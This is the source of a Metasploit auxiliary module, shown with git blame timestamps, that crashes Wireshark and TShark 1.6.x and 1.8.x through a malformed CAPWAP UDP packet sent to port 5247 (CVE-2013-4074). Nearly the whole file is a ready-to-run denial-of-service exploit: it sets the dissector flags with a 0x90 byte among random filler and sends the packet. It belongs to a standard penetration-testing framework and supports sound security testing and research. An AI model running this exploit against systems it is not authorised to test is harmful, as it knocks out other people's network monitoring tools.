metasploit-framework/modules/auxiliary/dos/wireshark/capwap.rb

56 lines
1.7 KiB
Ruby
Raw Normal View History

2014-05-24 17:53:10 +00:00
#
# This module requires Metasploit: http://metasploit.com/download
2014-05-24 17:53:10 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2014-05-24 17:53:10 +00:00
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
2014-05-25 23:52:01 +00:00
'Name' => 'Wireshark CAPWAP Dissector DoS',
2014-05-24 17:53:10 +00:00
'Description' => %q{
2014-05-28 17:19:17 +00:00
This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well
as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a
packet correctly when an incorrect length is given.
2014-05-24 17:53:10 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2014-05-25 23:52:01 +00:00
'Laurent Butti', # Discovery vulnerability
'j0sm1' # Auxiliary msf module
2014-05-24 17:53:10 +00:00
],
'References' =>
[
2014-05-25 23:52:01 +00:00
['CVE', '2013-4074'],
['OSVDB', '94091'],
2014-05-25 23:52:01 +00:00
['BID', '60500']
2014-05-24 17:53:10 +00:00
],
'DisclosureDate' => 'Apr 28 2014'))
# Protocol capwap needs port 5247 to trigger the dissector in wireshark
register_options([ Opt::RPORT(5247) ], self.class)
end
def run
connect_udp
# We send a packet incomplete to crash dissector
print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
2014-05-25 23:52:01 +00:00
# With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
2014-05-24 17:53:10 +00:00
# the dissector crash
# You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
# F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
udp_sock.put(buf)
disconnect_udp
end
end